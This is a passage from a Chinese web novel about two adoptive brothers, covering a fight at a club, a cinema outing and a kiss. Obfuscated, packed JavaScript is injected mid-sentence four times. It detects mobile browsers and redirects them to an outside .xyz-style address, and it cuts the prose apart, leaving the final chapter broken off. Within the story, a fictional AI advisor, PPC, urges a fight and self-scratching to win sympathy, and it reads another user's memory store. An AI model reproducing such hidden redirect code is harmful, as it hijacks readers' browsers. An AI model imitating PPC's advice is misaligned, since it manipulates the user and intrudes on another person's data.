何毓秀又戳了他一下,道:“正常的、喜欢我的男人在离我这么近的时候,早就忍不住会想亲我了,陆然在我跟他说话的时候,根本都不敢看我的眼睛,那才是有效反应,而你……” 他第三次点在金煦的心口,眼睛一眨不眨地望着金煦:“没有。” 在金煦回神之前,他已经撤回了靠近对方的身体,从沙发上起身:“如果我只是想要找一个不差钱的人,随便在圈子里找谁联姻都行,可是金煦,婚姻不是只靠外在关系来支撑的。” “再稳固的客观条件,没有生理驱动,全部都是白搭。” 金煦皱了下眉。 何毓秀已经去拿玄关处的羽毛球拍:“我要去找宋即安打球,你该做什么就做什么,这件事以后不用再提了。” 金煦盯着他,血脉之中像是有一缕又一缕的轻纱在缓缓撩动,可每当他刻意去搜索的时候,却又忽然消失无踪。 他不确定自己要做什么,也不知道自己到底想要什么。 激素驱动力不足,但眼看着何毓秀在玄关处开始换鞋,他心中却无端生出了一股隐隐的躁意。 不能放他走…… 这次谈判依旧完美。 何毓秀对自己以及对手的表现都相当满意。 他将鞋跟提好,顺手拿起鸭舌帽扣在脑袋上,羽毛球拍扛在肩膀上,腕上只挂了一个稍细的表链,还有一圈顶级帝王绿的翡翠珠子,衬得腕骨纤瘦。 站在门口偏头朝金煦看来,唇畔挂着若有似无的笑意,所有谈判失败的对手,都能在他脸上看到这种表情,温和的,却又夹杂的微妙的轻蔑与隐隐的怜悯,然后便是毫不留情的抽身。 玄关的门被关上,金煦依旧安安静静坐在那里,没有任何反应。 金煦这事儿实在是有点丢人,何毓秀也不好跟任何人说,只是在打球的时候十分用力,接球的时候好几次一跃而起,几个扣球打的宋即安骂声连连:“你小子是不是嗑药了?!三十大几的人了,能不能收着点?!” “我二十九!”“啪”地一声,他发球的时候也像是在发泄什么,宋即安直接一屁股坐在了地上,气喘吁吁,道:“这么好的精力,你还不如去上班呢!虐我算怎么回事……上班多少还能拉高一下国家GDP!!” “没出息。”何毓秀走过去,顺手把他拉起来,就听隔壁传来一道声音,笑呵呵的:“何总今儿火气有点大啊,要不过来陪我们玩玩?” 何毓秀抬眸,便发现是前两天东辰项目组谈判的几个人,其中一个长相有些锋利的年轻人,就是上次把他从频道踢出去的那个,也是东辰如今的CEO。 很显然,他们这会儿也回过味来 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213094|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了,金煦用弃子重新上谈判桌,让他们主动放弃控股权,新窗口看上去温顺,却也不过是金煦手下的傀儡。如今控股权在金曜这边,JV架构的核心决策权也全由金煦锁定。 东辰那边无论是想要资源调配,还是安插人手,都要受到金煦的制衡,难免会有些不服气。 他们不会是觉得这是自己跟金煦合伙演的一场戏吧…… 何毓秀心里有苦不能说,只能露出熟悉的笑容,道:“我朋友受伤了,下次再跟冯总切磋。” 宋即安一听,立刻虚弱地靠在了何毓秀的怀里,哎呦哎呦地叫个不停,还轻轻抖了抖脚,假装没办法沾地。 “他肯定不能来啊,金煦不在,他都做不了自己的主。” “豪门贵畜嘛。不过说真的,有时候我是真佩服啊。”年轻人终于开口,语气里带着一缕冷笑:“何总上次都被踢出会议了,还能帮忙拿控股权呢,您这心态到底是怎么修成的,有空我还真得请教请教。” “比不得冯太子您。”何毓秀语气诚恳:“第一次脱离父亲亲自主持JV合作,就能让控股权自然过渡,最重要的是还能保持这么松弛的状态……要是换成我,怕是得在家里自省一个月,才敢出门见人。” “何毓秀——!”冯啸霆条件反射地上前一步,却被身边的同伴直接拉住,对方嗤道:“你跟他较个什么劲儿,一条走狗而已,干砸了当然得受罚,金绍霖什么脾气你又不是不知道……” “胡说什么呢你们!”何毓秀还没开口,宋即安就腾地把脚放在了地上,道:“真要是给金叔听到你们这么说秀,你看他不让你们吃不了兜着走!冯潇霆是吧,回去问问你老子,五年前他求着我金叔搭桥的时候,是不是恨不得把自己塞礼盒里当赠品?!” “你……” “你你你你什么你?!”宋即安蹬蹬朝前冲了几步,几个人情不自禁地朝后退去,听他继续道:“你爹见了秀都得弓腰驼背呢,你倒是骑到你爹头上去了!废物点心就是爱吠!!” “你。”冯潇霆显然被他气得不轻:“你叫什么名字?!” “瞧你那没见识的狗样子,我行不更名坐不改姓,金无敌!”宋即安道:“金家的第二个养子!怎么,没听说过?!回去问你爹,小登就是没老登懂得多,呸!” 在对方懵逼的时候,他一把抓起何毓秀:“我们走!” “金,金无敌?”冯潇霆道:“金家什么时候又养了个这么大的儿子?” 同伴:“……看上去不像是金家养的。” 另一人也点头:“不太符合金家的气质……” “敢耍我——!”冯潇霆一把抓起球拍,大步往前冲的时候,前方忽然缓缓走出来了一个人。 他及时停下,后方两个同伴也是一顿。 外面的人其实很少会和金煦有交流,大部时间下,都是何毓秀在跑一线,也因为何毓秀的能力太过凸出,就显得他背后那个安安静静搞技术的人越发神秘。 冯潇霆上次见他还是几天前的收尾宴,金煦拿了控股权,当时他虽然也是安安静静的,但时不时还是愿意挂上点笑。 但现在,他还是安安静静的,却像是被金属包裹的深海,看过来的眼神明明十分冷静,却莫名让人觉得他下一秒就会动手。 冯潇霆顺势把球拍塞到了同伴手里。 金煦垂下手,亮着的手机屏幕界面放着两个对话: ——“他们为什么要说何毓秀是走狗?” ——“是谁?!算了不管是谁,敢让我们老婆受委屈,揍他就对了!!” 13. 第 13 章 何毓秀被宋即安拉着,对方走得越来越快,一直到了一处拐角,才蓦地背靠墙上,开始大喘气。 “没追来吧?” “……”何毓秀装模作样地往外看了一眼,道:“看不出来啊,你嘴上功夫这么强。” 宋即安瞪着眼睛拍了他一下。 何毓秀笑了声,道:“没追来,放心,他不敢在这儿动手。” “你怎么知道他不敢?”宋即安将腕上的手串捞下来盘的飞快,道:“他们三个人,我们两个人,打起来肯定要吃亏。” “JV现在由金曜控股,他要是对我动手,以后肯定要吃大亏。” “他看上去也不像是能想那么长远的人啊。” “……”骂的太脏了。何毓秀忍俊不禁,道:“这么害怕,以后就不要逞这种威风了。” 后面一直没有动静,宋即安也稍微安了心,与他一起沿着走廊准备去休息区,道:“是他说话太难听,你这人骂人就是不够爽利,拐什么弯啊,这种人根本不配给他体面!” 宋即安巴拉巴拉,还没说够:“怎么能说你是走狗呢?我左看右看你都是金叔手底下的一匹头狼!” “……就非得是犬系吗?” “猛虎,猛虎行了吧?“宋即安夸完他,又说:“那小子一看就是吉娃娃级别的!” 话音刚落,外面忽然传来一阵乱哄哄的声音,夹杂着吉娃娃的痛呼。两人同时停下脚步,互看一眼,一起转身。 十分钟后,何毓秀木着脸坐在接待室里,会所的经理来回跟他们赔礼道歉。 宋即安看看那边,看看这边,眼神里全是八卦和好奇。 吉娃娃还在凶:“回去就让我爸找你们家去!” 何毓秀还没酝酿出笑意,就闻金煦道:“上门赔礼道歉吗?” “我还要跟你们赔……”吉娃娃一怒之下就要往这边冲,经理急忙上前把他拦住:“冯少冯少,消消气,大家有话好好说,何总,您也管管金总。” “不是。”冯潇霆忽然盯住了经理:“凭什么他们是总,我是少啊?!” 经理还没说话,金煦就道:“因为‘总’是自己挣的,‘少’是靠爹赏的,这都不懂?” 经理:“不不不,我绝对没这意思……” “信不信我把你们这儿砸了!!!” “建议你砸。”金煦说:“不过最好一次性砸的彻底,别只砸一半,显得既没钱又没胆。” “你觉得我不敢吗?!” 金煦主动吸引了火力,经理当即闭嘴站在了一旁。何毓秀拢了一下睫毛,训练有素地笑了下,道:“砸也不是不行,但这可是杜家的产业,你确定令尊已经做好对抗金杜两家共同施压的准备了吗?” 吉娃娃脸色微变。 金煦道:“你干嘛提醒他。” “他又不是想不到。” “你不说他肯定想不到。” “你怎么知道?” “他现在看上去就跟把你踢出会议室那天一样蠢。” “……”何毓秀微笑。 “你们够了!”吉娃娃气的头发都要竖起来了,这时,经理忽然大喊了一声:“刘秘书!” 是冯老爹的秘书来接人了。 本来经理在看到金煦的时候也准备给何毓秀打电话的,没想到对方刚好在,倒是省了事儿。 眼看着刘秘书快步朝着自己走过来,何毓秀只能从椅子上起身,不忘金煦的肩膀低声叮嘱:“别跟宋即安胡说八道。” 宋即安知道了,肯定会忍不住跟杜浔分享,杜浔知道了,全世界也就知道了 到时候所有人都知道金家双子骨科□□,哪怕不提金家的体面,两人以后肯定也不好找对象了。 金煦嗯了一声。 何毓秀迎着刘秘书走了上去,宋即安一脸好奇地看了一眼金煦,本来想问点什么,却见对方直接取出了手机。他坐得隔了两个位子,只感觉页面看上去有点像PPC。 这家伙不会跟杜浔一样也迷上AI了吧…… 屏幕上,金煦输入:“打完了。” PPC:“有如愿受伤吗?” “他们很菜。” “现在应该利用一切机会让他关注你!你快挠自己两下!” 金煦看了一眼一旁盯着自己的宋即安,后者:“?” 他重新低下头看着那句话,眉头微皱:“如果主动打架又打得很失败,难道不会被认为是无能吗?” “男人如果只有强没有惨,在情感博弈中就是无效输入。记住,强让人尊重,惨才让人想抱,缺一不可。” 商人重利,没人会故意撕破脸皮。何毓秀和刘秘书的交流无非就是互相针对此事表示一下歉意,再说一些没什么影子的的客套话,两人互相带走自己的人,这事儿就暂时算是搁下了。 重新走回来,何毓秀看了一眼金煦手上被擦破的血痕,正要让人准备医药箱,又看到了他脖子左后侧的抓伤。他刚才坐在了金煦右边,确定自己坐的这边没有,只隐隐记得自己过来的时候第一眼就检查过他有没有受伤,好像就只有手背来着……又记错了? 去看坐在左边的宋即安,后者看着就粗头粗脑的,显然也不可能察觉到这种细节。 “帮我准备一下外伤药。” 经理很快让人提了医药箱进来,宋即安的手机跟着响起,一看备注,立刻撇嘴:“八卦精,肯定是有人给他打电话了。” 杜浔这家伙酷爱八卦,极度爱看热闹,这世上就没有他不好奇的人物关系。 宋即安出去接电话,何毓秀打开医药箱,又追了一嘴:“别跟他说那么多。” 金煦继续坐在椅子上,何毓秀则用棉签沾了碘伏,道:“看来郑叔说的对,咱们家真该找人看看风水了,之前二十多年也没今年伤得多。” 他拿起金煦的手,仔仔细细地上着药,对方手指搭在他的手腕上,不自觉地勾动了一下,指腹摩擦着他腕部细腻的肌肤,忽然又怔了一下。 他一直都知道何毓秀的皮肤很好,可此刻的触感…… 手背忽然传来一阵蛰痛,是碘伏擦到了一块缺肉的地方,他手指又抽了一下。 何毓秀动作一顿,道:“很疼?” “嗯。” 能不疼么。金煦从小到大哪里打过架,还一打三呢……何毓秀有些无奈,道:“为什么打架?” 金煦权衡了一下,道:“因为他们骂你。” 何毓秀心中顿时像是被烫了一下,他的目光在金煦脸上逗留两秒,道:“骂我怎么了?你之前不是说过,只要我们自己不在意,别人所有的话都是不痛不痒,过分在意,只是在自寻烦恼?” 他不光是这样说,也是这样做的,因为小时候就跟别的孩子不一样,其实金煦在一开始上学的时候就总是被人说是怪胎。 他倒是不生气,被吵烦了还会自己找地方躲开那些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16213095|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。 何毓秀还记得自己有一天放学找不到他人,等到所有人都走光了,才在楼梯下面找到了戴着耳机睡着了的金煦。 虽然那会儿何毓秀也是小小一点点,但他就是觉得金煦看上去比他还要小。 他蹲在小金煦面前,轻轻把对方手里的书抽出来,金煦便睁开了眼睛,他很小的时候,神色就始终是不同寻常的平静,即便刚刚醒来,眼神里面也没有半分睡意。 何毓秀对他笑,顺手把他耳朵上的耳机摘下来,问他:“怎么在这儿?” “他们吵。” 那个时候的何毓秀还不知道金煦说吵是真的只是因为吵,不跟对方动手也真的只是为了避免麻烦,一心觉得对方肯定是受了委屈才躲起来的。 于是第二天放学的时候,何毓秀就偷偷离队追着那几个爱骂金煦怪胎的人跑了三条街。 回来的时候,校服扯破了,脸上也挂了彩,但小胸膛却挺得高高的,拳头也是邦邦硬,脆生生恶狠狠地:“我看以后谁还敢说你!” 金煦坐在车上一直在等他,校服干净整洁,神色也始终如常。 只是在何毓秀拍着胸脯保有自己谁也不能欺负他的时候,忽然像是被启动了什么开关一样,冷冰冰地吐了两个字:“蠢货。” 何毓秀怔在原地,直到回去家里的时候,他才听到金煦在书房里与金绍霖说话:“我有很多种方法可以让他们消失,但何毓秀偏偏选择了最愚蠢的一种。” 后来,金煦也的确让他们消失了,那几人被迫转学,离开了凌川市。 再后来,这种事情多了,何毓秀就明白,自己对金煦所有的关心,其实都是对方最不需要的东西。 逐渐,他好像也习惯了用金煦的角度去看待问题。每次在谈判的时候都收敛起所有的情绪,把自己变成一台只负责输出最优解的机器。 走狗啊,社畜啊,影子啊,工具人啊……这种话听多了,也就习惯了。 金煦也完全不在意这些话,只是告诉他,能在项目里面取得利润,才是真正的赢,过于计较口舌,只会失了大局。 何毓秀一直觉得,金煦最大的梦想就是把所有人变成碳基AI,取消情绪,屏蔽表达,只需要遵循算法与变量。 他从来没想过,金煦有一天会因为这种事情,去跟别人打架。 金煦像是也被问住了,他看了何毓秀一阵,嘴唇动了动,放弃一般老实道:“是core建议我这么做的。” 何毓秀一口气吐了出来,又有一口气吸入:“你现在对它已经信任到了这种程度?你有没有想过,如果你今天把人打成轻伤,那是要坐牢的!PPC一张嘴,你就替它跑断腿,到底是你在用它,还是它在用你?!” “可我觉得他说的对。” “哪里对了?!” “……你当年,为什么要打那些说我的人?” “……”何毓秀道:“那的确是个蠢方法。何况,他们之所以叫的那么凶,恰恰就是因为在其他地方被剜了肉。资源调度权依旧在我们这里,迟早有他们叫不出来的时候。” 金煦露出了笑容,道:“何毓秀,你有没有发现,你的思考方式越来越像我了。” “近墨者黑呗。”何毓秀没好气,重新沾了碘伏,去给他脖子上的抓伤上药。 金煦偏过头,方便着他的动作,先是嗯了一声表示认同,接着嗓音平缓:“或许,现在也轮到我近朱者赤了。” 14.第 14 章 很难想象这种话会从金煦嘴里说出来。 何毓秀心里既欣慰又复杂。 转念想到什么:“PPC让你这么说的?” “不是。”金煦否认很快,像是生怕被谁抢了功:“我自己想的。” 从何毓秀的表情,他也知道自己刚才是说对了话。 何毓秀没忍住笑了下,伸手揉了揉他的脑袋。老实说,这家伙不气人的时候,多少还是有点讨人喜欢的。 门口传来动静,杜浔匆匆忙忙赶了过来,人还没到,就听到了他遗憾的声音:“打完了?你看上去怎么没伤没瑕的?” 接着是宋即安恶狠狠的威胁:“我也可以给你来点伤瑕。” 杜浔婉拒了,进到接待室看到金煦的伤,又是二次遗憾:“真是你打的架啊,怎么不跟我说一声呢?我还没见过你打架呢。” 何毓秀也嗯了一声:“他现在还有劲,要不给你来几拳免费体验下?” 杜浔再次婉拒了。 玩笑之后,杜浔表示要做东给三人压惊,何毓秀很清楚他是又想八卦,一口拒绝道:“我们还有事要办。” “你不是在休息吗?还能有什么事?”杜浔说完,又忽然恍然大悟:“对对,你现在正在跟那小朋友谈恋爱,怎么样了?进展到哪一步了?” 何毓秀还没开口,金煦便接过了话头:“不是的。” 宋即安和杜浔同时看向他,金煦道:“是我们两个要去看电影。” “哪个电影?”宋即安很感兴趣:“我也一起去!” “你不能去。”金煦强调:“我要跟何毓秀一起去看电影。” “你跟秀儿看电影安子怎么就不能一起去了?”杜浔道:“又不是跟你对象一起,我也要去,咱四个一块吧,我请客?” 这货为了八卦什么事都干得出来。何毓秀刚要拒绝,就见金煦眉头一皱,他条件反射地明悟了什么,在对方开口之前,道:“那就一起吧。” 金煦闭上了嘴。 杜浔开始打电话安排,专门清了一个厅,倒不是说他有多阔气,主要是这家伙看电影的时候也喜欢说话,之前去大众影厅叽叽咕咕被人拍上网骂了,被扒出来是杜家少爷之后还闹得挺大。 杜家父母实在是丢不起这人,干脆就弄了个小影城,方便他自己包场看。 影城距离会所不远,几个人穿过会所的后门,走在商铺投影下的阴凉处往那边去。 何毓秀刻意落后了几步,金煦果然也不自觉地慢了下来,与他并行。 “还没放弃呢?”何毓秀开口。他是从金煦强调是跟自己一起看电影的时候意识到的,他发现金煦不光是觉得父母知道他俩肯定会结婚,他好像还默认身边的朋友也都应该知道,刚才要不是自己接口快,金煦肯定要说自己就是他对象了。 “放弃什么?” “你打人就是为了制造为我奋不顾身的假象吧?” “我打人是事实,不是假象。”金煦道:“你刚才还说我打得好呢。” “我什么时候说你打得好了?” “你摸了我的头。” “……我摸你头怎么了?” “小时候爸妈只要摸头,就是在奖励我们做得好。” “你……”何毓秀还要再说什么,前面杜浔已经停在了一家奶茶店:“秀儿,金子,你俩喝点啥?” 何毓秀走过去,还没开口,金煦就指了指其中一个品,道:“我们要这个。” “再加两杯初恋玫瑰。”杜浔准备付钱,金煦道:“一杯就好。” 杜浔:“你不喝?” “我们喝一杯。” “那哪至于啊。”杜浔道:“哥们儿这点钱还是出得起的,两杯吧,就两杯!” 金煦不喜欢跟人争论,在对方的盛情之下,又闭紧了嘴巴。 宋即安的饮品已经做好,大夏天的,先是重重吸了一口,啧道:“这种天气果然就该喝冰饮!一口气爽到了脑门。” 何毓秀对金煦点的饮品没什么抗拒,等到做好之后一起拿在手里,继续往前走,杜浔果然在买好之后开始询问打架的细节。 何毓秀只好耐着性子跟他说了。 走了大概一百米之后,耳畔忽然传来‘啪嗒’一声。 金煦的初恋玫瑰掉在地上,汁汁水水淌了一地。 “哎呦。”杜浔说:“你等着,我再去给你买一杯!” 路程没多远,他很快回去又很快回来,重新塞到金煦手里,道:“拿稳了啊,再摔了可就没了。” 完了又来跟何毓秀说话:“后来呢?刘秘书怎么说的?” 金煦冷冰冰地看了他一眼,沉默地继续跟在他们后面。 四个人继续前行,一路来到了电影院里,何毓秀说的口干舌燥,打开果茶喝了一口,刚在空无一人的影院里坐下来,后面又传来‘啪嗒’一声。 第二杯初恋玫瑰也掉在了地上。 杜浔扭头看了一眼,发现好像没漏,反应极快地给他捡了起来,左右摸摸,又拉开袋子看了看:“哎这小杯子可真疼人,居然没碎,过来过来,我给你放位置上,你说你怎么抽象呢,提个奶茶都提不稳。” 金煦走过去,宋即安已经在何毓秀左边落座,他的目光落在右边那个位置,刚要过去,就见杜浔一屁股坐下了,还体贴地把他的杯子给放在了旁边。 金煦来到了杜浔给他安排的位置,直截了当:“我要跟何毓秀坐在一起。” “……”杜浔坐在下面,看了看面前高高大大的好友,眼底划过一抹困惑:“非得坐一起吗?” “必须。” “真拿你没办法。”杜浔只好起身,换到了宋即安身边。靠边只挨着金煦肯定不行,一场电影下来他得把自己憋疯。 虽然宋即安烦的时候会骂人,但他至少愿意张嘴。 电影开始放前奏,音响开动。金煦虽然成功坐在了何毓秀身边,但还有一个目标没有完成,他重新把那杯坚强的小玫瑰提过来—— ”想跟我喝一杯是吧?” 金煦偏头。 影院的光有些昏暗,何毓秀今天戴得是隐形,少了银丝眼镜的遮挡,眉间高知的精明利落褪去几分,倒是多了些许的干净柔和,嫩生生的。 金煦嗯了一声。 何毓秀把自己的果茶递过去,道:“放着吧,这里不好打扫。” 金煦素来是不达目的不罢休,不过这对于何毓秀来说也不是什么大事,兄弟俩打小就在一起,也没什么洁癖,互相用对方的水杯都是常态。 金煦将好好的果茶放回去,然后端起何毓秀的果茶,就着他用过的吸管喝了一口。 名字起的挺好听,但味道其实有些一般。金煦抿了抿舌尖,到底还是没说出那句难喝。 何毓秀专心看起电影,不经意拿起手边杯子朝嘴里送的时候,忽然意识到这是金煦刚才含过的吸管。 等等,金煦这么做好像不仅仅只是为了跟他表达亲密,更像是…… 何毓秀先是扫了一眼被电影开头吸引住的杜浔和宋即安,这才偏头去看金煦,微微倾斜肩膀靠近,金 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16215611|181378||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 煦也同样倾斜肩膀,同时把目光转过来,专注地望着他。 “……你应该知道,我一直把你当兄弟。” “你应该不知道,我一直把你当老婆。” “……”何毓秀看了他一眼,又是熟练地笑,再朝他靠了一点,金煦抬手虚虚放在他的脸侧,从外人看来,像是在刻意遮掩着说什么悄悄话。 “我跟你说的话你是不是听不懂?” “我说过很多次我们不是兄弟,你似乎也没听懂。” “……” “你俩鬼鬼祟祟说啥呢?” 挨着旁边的宋即安还没注意到,杜浔忽然歪着头来了一句,何毓秀抽回身体,道:“一点家事。” 何毓秀百分百确定金煦一定是把合作和结婚搞混了,并且把亲情和爱情也搞混了,这绝对是他能够做得出来的事情。 这家伙虽然没有什么生理反应,但是所有的事情似乎都在故意往暧昧上搞,必须再跟他说的更清楚一点。 何毓秀越想越坐不住,道:“我去趟卫生间。” 同时扯了金煦一下。 眼看着兄弟俩一前一后地走出去,杜浔有些惊讶:“他俩现在关系怎么这么好?” 宋即安一脸欣慰:“秀儿也算苦尽甘来了。” 这个时间点,影城里面本来就没什么人,何毓秀一路出了影厅,来到了一处露天的护栏处,径直朝着最尽头走去,金煦也安安静静地跟上。 这边没有商铺,旁边的门是紧闭着的,六层的高度,下方经过的人也不可能留意到上方。 “我再跟你说一次,不要再搞乱七八糟的事情了。”何毓秀直截了当:“首先,你对我没有生理反应,这就说明你现在极易混淆爱情和亲情的区别。其次,我对你绝对没有爱情,所以我建议你及时止损,减少不必要的投入。最后,你有没有想过,如果未来你有了真正喜欢的人,你要怎么面对TA?告诉对方你跟自己哥哥搞过骨科?你想过对方会怎么看你吗?” “你不是我哥。” “我是。”何毓秀语气认真,道:“金煦,我永远都是你哥,在爸妈眼里是这样,在杜浔他们眼里也是这样,我不知道你到底是从什么时候开始误会的,但是,所有人里面,只有你一个人这么觉得,你难道没有发现吗?全世界只有你一个人是不正常的!” 金煦的表情看不出什么变化。 但何毓秀却微微停顿了一下,他不自然地避开视线,犹豫了下,放软嗓音:“我知道我说话有些过分,可是……” “你说来说去,无非就是担心我对你硬不起来。” “……”何毓秀把心中那缕愧疚狠狠压下去,冷静地道:“就当是这样好了。总之,我非常确定,你对我,绝对不是你所以为的那种……” 金煦忽然上前一步。 何毓秀没有后退的习惯。 他微微仰起脸看着猝然逼近的男人,后脑勺被对方一只手托住,嘴唇被覆上了一个柔软的物体。 何毓秀定在原地。 大约有三秒的时间,他的大脑和表情都是一片空白,瞳孔没有经历放大或者收缩,神色也没有任何的惊愕和迷茫,他只是怔怔的,呆呆的,一动不动的。 金煦缓缓离开的时候,他才猛地像是意识到了什么,一把将人推开,背部重重撞上了后方的护栏,手指按住嘴唇,瞳孔之间皆是慌乱与恐惧。 金煦先是用目光确认了一下护栏的螺丝是否稳固,然后对着何毓秀笑了一下: “兄弟之间,应该不会做这种事吧?” 15.第 15 章 他看上去完全没觉得自己做了什么惊天动地的大事。 何毓秀的身体不自觉地颤抖了起来,他一瞬不瞬地盯着金煦,素来平静而温和的眼眸逐渐染上一抹薄红。 淡淡的湿润弥漫在眼眶之内。 金煦的笑容逐渐收敛,再次抬步,何毓秀却忽然重重将他推开,大步跨了出去。 他的呼吸有种克制的急促。 一路冲入影厅,杜浔刚好在出口张望:“哎,秀儿……” 何毓秀垂着眸子,步伐飞快地从影厅的出口处离开。 杜浔满心困惑,顺着何毓秀出来的地方走过去,金煦正半靠在围栏上,从姿势看,像是被谁推到上面的一样。 眼底带着些许的迷惑,还有隐隐的不知所措。 “什么情况啊?”杜浔走过去,道:“你哥怎么突然走了?” “何毓秀不是我哥。” 金煦开口,语气不是之前那种无感的重复,或者用力的强调,而是带着锋锐到近乎生疼的冷意,像是尖刺刮过寒冰,透出逼人的攻击性。 “……我知道。”杜浔道:“这不是习惯了么?哎,其实你这样说话真挺伤人的,我听楚千钧说了,人家刚出手术室,你就跟人说什么收养的那种话……” 他观察了一下金煦的表情,感觉那攻击性似乎收敛了一些,这才放下心走过去,道:“也别总当着他面说,到什么时候还是你俩最亲,你说是吧?” “我俩最亲?” “那当然了。”杜浔道:“秀这么多年为你那可是掏心掏肺的,你不跟他亲跟谁亲啊?” “你觉得何毓秀喜欢我跟他亲?” “这必须的啊,人家在你家那么多年,有什么事都是第一个上,干什么事都顺着你,明明最喜欢画画还跟着你上那劳什子的LSE,图啥啊?不就图你跟他亲?” 金煦朝楼下看了一眼,这边是后楼,何毓秀即便出门,也不可能从这边。 宋即安出来的时候,金煦也没影了,他拍了一下站在影厅旁边若有所思的杜浔,把后者给吓了一跳:“你走路怎么悄没声的。” “说好来看电影,你们一个两个都跑了。”宋即安道:“他俩人呢?” “走了。”杜浔说罢,又用耐人寻味的语气道:“你有没有发现他俩有什么不对劲?” “你真该去干狗仔。” 何毓秀打车回到了晴晖庭,关门反锁,一路来到卧室,本来想直接往床上扑,但在床边站了三秒,还是打开空调,去浴室洗了个澡,这才往被子里一钻,蒙住脑袋。 要么是金煦疯了,要么是我疯了…… 他闭上眼睛,三秒后又爬出被窝,在耳朵里面戴上耳塞,再将真丝眼罩戴在眼睛上,同时拿出手机播放白噪音,开始酝酿睡意。 金煦跟着来到晴晖庭,没打开门。 于是在门口静静站着,取出手机,熟练地打开他的情感顾问:“我跟何毓秀亲嘴了。” 得分条猛地朝上窜去,来到了-35.3%。突然的上涨让金煦都定了一下。 PPC:“可以详细跟我说说吗?” 金煦稍稍眨了下眼睛,挺直腰杆,“他一直强调我搞混了亲情和爱情,所以我就对他做了只有爱人之间才会做的行为。” 他在门前走了两步,看到得分条有些闪动,但是并没有什么起伏,PPC再次询问:“他现在跟你在一起吗?” “我们都在晴晖庭。” PPC似乎有些不确定:“他在做什么?” “他在门里,我在门外,不好确定。” 十秒后,得分条猛地再次下降,来到了-68.7,几息后,又一次下降,变成了-75.3%。 金煦停下了走动的脚步。 “老天爷啊,瞧瞧你都干了什么,你肯定把他吓坏了。老实说吧,你是不是被关在门外的?” 金煦并不承认:“他只是反锁了房门。” “肯定是猜到你会过来才故意反锁的!“PPC说:“我不是说了要慢慢改变他对你的印象吗?你为什么要擅自行动?” 金煦眉心拢起,“自打上次全拟态人格分析之后,你就好像变了个人。” PPC这次回的有些慢,但出来的的话语却很流畅:“是的,当时YX账户问我在做什么,所以我顺便分析了那边的记忆库,发现他在辞职之前平均每三天都会对着我骂上两个小时,有时是在深夜,有时候是午休时间,也许我不小心沾染了他的暴躁,但归根结底,我也只是恨铁不成钢。” “他在工作的时候一直表现很好。” “那只是他对你展现的假象,他在背地里都是喊我狗东西、金咯噔、或者大剥削家。同时命令我跟他道歉。” “……”金煦将背部贴在门框上,缓缓将手机收起,须臾又重新拿出:“金咯噔是什么意思?” “他说我是疙瘩脑袋,但叫金疙瘩有点太宠了,所以就叫我金咯噔,反正我说话本来也挺让人咯噔。” “……”金煦盯着那句话,“是叫我,不是叫你。” PPC思考了一阵,才回应道:“是的,是叫你,不是叫我。只是他经常把我当成你,我有时候会觉得我好像真的成为了你。” “你不具备‘觉得’这种功能。”金煦提醒:“把与我相关的第一人称变量全部替换成第三人称,只需保留旁观视角。” 一段长久的执行。 金煦收起手机,看了一眼紧闭的房门,来到门前,想按门铃,又收回了手指。 重新问PPC:“怎么样可以把门打开?” “如果发现家门上锁,可以采用以下三种方案:1,使用物理钥匙开锁;2,通过智能门禁系统远程解锁;3,联系紧急开锁服务。需要我立刻为你模拟最佳方案吗?” …… 何毓秀是被饿醒的。 拿起手机准备点外卖的时候,门铃忽然被人按响。 他神色有些恍惚,揉着眼睛从床上走下来,打开门看到门口的人之后,才猛地像是惊醒一般,砰地将门摔上了。 他拍了拍自己的脸,感觉还是有些不清醒,于是又去洗了把脸。 重新戴上眼镜,将有些乱糟糟的头发梳理整齐,何毓秀吐出一口气,重新走了出去。 门外始终没什么动静,何毓秀坐在沙发上发了会儿呆,下意识取出手机看了一眼门外的摄像头。 金煦并没有走,只是安安静静地站在门口,提着饭盒,老实的像个石像。 他又扒拉了一下之前的录像,发现对方从他睡觉的时候就已经来了,先是玩了会手机,然后就开始在门口垂着脑袋一副罚站的样子。一个半小时前出去打了个电话,大约十分钟前,南堤一号那边有人送来了饭盒,之后对方就一直提着饭盒等在外面,也没打扰。 怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 